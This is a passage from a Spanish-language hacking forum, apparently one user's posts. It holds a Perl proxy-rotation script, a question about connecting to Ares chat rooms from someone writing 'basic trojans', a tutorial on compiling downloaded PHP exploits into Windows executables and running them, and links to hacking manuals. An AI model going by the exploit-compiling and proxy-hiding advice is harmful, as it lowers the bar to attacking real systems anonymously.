Aqui Tomara el Valor de $rand (valor aleatoreo tomado de 0 y la cantidad total de caracteres del array  @caracteres) y lo ingresara dentro de las casillas,si por ej, $rand tomo el valor de 5.

Citar$caracter_rand = $caracteres[5];
Citar}
Cierra el Ciclo.


Con Esta Funcion y con Imaginacion se Puede hacer Muchas Cosas...

Por Ejemplo:

Gracias a La ProxyList.new-bytes.net Podemos Ocupar Nuestras Aplicacion Con Proxy. y Tener en una variable Cada Proxy.


Citaruse LWP::Simple;

system ("cls");

#============================================SUB PROXY============================================================#

syswrite STDOUT, "\n
  • Carganndo Proxy: ";

    $url="http://proxylist.new-bytes.net/list.txt";

    $fichero = "proxy.txt";
    mirror("$url", $fichero);

    open(ARCHIVOPROXY,"$fichero");
    @proxy=<ARCHIVOPROXY>;
    $x=0;
    foreach ( @proxy)
    {
    # print " Numero : $x : $proxy[$x]";
    $x++;
    }
    close (ARCHIVOPROXY);
    $y=$x-2;

    #$x cantidad de proxy
    print "$x Obtenidos \n ";

    #===============================================FIN SUB PROXY====================================================#

    $num = int(rand( @proxy));
    $proxy_rand = $proxy[$num];

    print "Proxy Selecionado Por Rand: $proxy_rand\t <www.new-bytes.net>";
#14

Estoy empezando a programar en Visual , haciendo distintas cosas, entre troyanos basicos y cuanta burrada se me cruza por la cabeza XD¡. pero a la hora de ir un poco mas alla me encontre con un pequeño problema.

Kise crear un cliente para las salas de ares, pero a la hora de ver la conexion del socket, de ver a k me conecto, me kedo en la duda ¿ a donde me conecto?.

Pues las salas de ares tienen un hashlink cifrado en base64 en donde una vez descifrado podes ver la IP y el puerto del server de la sala, estas salas se crear con programar como arca eclipse, arca++, entre otros.

e intentado conectarme por irc /server IP PORT, pero nada, por netcat incluso y nada XD¡.

la duda me nace que parece que es necesario tener alguna direcion, para "asociar" esta ip del server a las redes de Ares.

Luego de ver por aki:
Citarhttp://www.yashira.org/index.php?showtopic=3947&pid=39873&st=0&#entry39873

En donde dice como crear un cliente para ares, sale en socket conect esto.

* Doble Click en el TCP Socket y en el evento "Connected" insertas este código:

Sock1.write chr(LenB(Chr(&hBB)+Chr(&h75)+Chr(&h2E)+Chr(&hB3)+Chr(&h37)+Chr(&h5E)+Chr(&hA0)+Chr(&h40)+Chr(&h9B)+Chr(&hCE)+Chr(&hDA)+Chr(&h79)+Chr(&hA9)+Chr(&h40)+Chr(&h10)+Chr (&h4A)+Chr(&h00)+Chr(&h00)+Chr(&h00)+Chr(&h2E)+Chr(&h55)+Chr(&h89)+Chr(&h84)+Chr(&hE2)+Chr(&hA9)+Chr(&hFF)+Chr(&hED)+Chr(&h00)+Chr(&h00)+Chr(&h00)+Chr(&h00)+username.text+Chr (&h00)+Chr(&h41)+Chr(&h72)+Chr(&h65)+Chr(&h73)+Chr(&h20)+Chr(&h31)+Chr(&h2E)+Chr(&h38)+Chr(&h2E)+Chr(&h31)+Chr(&h2E)+Chr(&h32)+Chr(&h39)+Chr(&h34)+Chr(&h35)+Chr(&h00)+Chr(&hCA) +Chr(&h45)+Chr(&hA1)+Chr(&h11)+Chr(&h2A)+Chr(&h4E)+Chr(&hB8)+Chr(&h11)+Chr(&h03)+Chr(&h00)+Chr(&h01)+Chr(&h00)))+Chr(&h00)+Chr(&h02)+Chr(&hBB)+Chr(&h75)+Chr(&h2E)+Chr(&hB3)+Chr (&h37)+Chr(&h5E)+Chr(&hA0)+Chr(&h40)+Chr(&h9B)+Chr(&hCE)+Chr(&hDA)+Chr(&h79)+Chr(&hA9)+Chr(&h40)+Chr(&h10)+Chr(&h4A)+Chr(&h00)+Chr(&h00)+Chr(&h00)+Chr(&h2E)+Chr(&h55)+Chr(&h89) +Chr(&h84)+Chr(&hE2)+Chr(&hA9)+Chr(&hFF)+Chr(&hED)+Chr(&h00)+Chr(&h00)+Chr(&h00)+Chr(&h00)+username.text+Chr(&h00)+Chr(&h41)+Chr(&h72)+Chr(&h65)+Chr(&h73)+Chr(&h20)+Chr(&h31)+Chr (&h2E)+Chr(&h38)+Chr(&h2E)+Chr(&h31)+Chr(&h2E)+Chr(&h32)+Chr(&h39)+Chr(&h34)+Chr(&h35)+Chr(&h00)+Chr(&hCA)+Chr(&h45)+Chr(&hA1)+Chr(&h11)+Chr(&h2A)+Chr(&h4E)+Chr(&hB8)+Chr(&h11) +Chr(&h03)+Chr(&h00)+Chr(&h01)+Chr(&h00)


Ni idea lo que es.

Alguien sabe como conectarse con estas redes de ares para kitarme el bicho q tengo en la cabeza de kerer hacerlo XD¡. me kedo pegado hasta q salga XD¡.

Saludos¡


#15
By OzX


Para poder compilar El codigo de Php Tenemos que tener en claro Ciertas Cosas:

1.) Algunos Exploit Nececitan de una configuracion especial en su Codigo Fuente.
2.) Los Exploit en Php se sabe por las primeras Lineas "#!/usr/bin/php "
3.) Cada Exploit es Distinto de Otro, hay que leer sobre cada tipo de exploit para evitar preguntas como ¿Que Puedo hacer luego? ¿Que hace este exploit? Etc.
4.) No se Lanza un Exploit Como Una piedra, Luego de Ser compilado este deve ser ejecutado.



1.) Nos descargamos el Bamcompile desde AQUI

2.) Una ves Descargado lo descomprimimos en una Carpeta, en mi caso mi carpeta esta en escritorio. Buscamos la ruta, y ejecutamos el programa "BamCompile", Aqui nos muestra todas las opciones que tiene.




3.) Buscamos el Exploit que Deseamos Compilar.

Para este Ejemplo Ocupare ESTE Exploit

4.) Copiamos el Codigo del Exploit y lo Guardarmos en el Notepad, Luego Cambiamos la extensión de Txt a Php , dejando en el notepad en "Tipo" Todos los archivos.
Importante : Guardar el Exploit en la Misma carpeta que esta El Bamcompile.





5.) Una ves Copiado vamos A Compilar Nuestro Exploit.

Nos situamos en la Carpeta mediante MSDOS, y tecleamos.

Bamcompile exploit.php exploit.exe



Nos muestra la Imagen que Fue compilado Satisfactoriamente.

6.) Ejecutamos Nuestro Exploit y procedimos acorde las instrucciones.



Es Aconsejable que aprendan algo de los Lenguajes de Programacion, Php, Perl, C/C++, Python .



By OzX
#16
Hacking / Manual Tcp/Ip / Biblioteca /
14 Octubre 2006, 22:53 PM
Citarhttp://biblioteca.new-bytes.net

Se Encontrara Bastante informacion relacionada con Hacking Basico y Otras ramas, no Posteo los links directamente porque tienen Anti Leechers :/, espero que disfruten algunos archivos,  :rolleyes:

Espero que el aporte no sea considerado como Spam, ni Poco menos, solo para que tengan un buen lugar para descargar algunos archivos... Compartir



Manual Tcp/Ip

Son 4 cursos en ppt, osea power point, pero los pase a pdf y los junte para que sea mas facil leerlos, es muy util para poder entender todo esto de la internet, es 100% recomendable, no es de un nivel altor, especial para los que recien inician , asi se sacaran varias dudas que tienen, y les servira para ampliar el conocimiento y fundamentar los que dicen.


Nota: A partir de la diapositiva 97 Se habla concretamente de Tcp/ip, Lo Anterior es sobre sistema de Lan.


Descarga: Aqui

Aqui esta el link cortesia de el-brujo (os aseguro este link no muere)
http://ns2.elhacker.net/timofonica/manuales/curso_tcpip_4_volumenes_en_1_pdf.pdf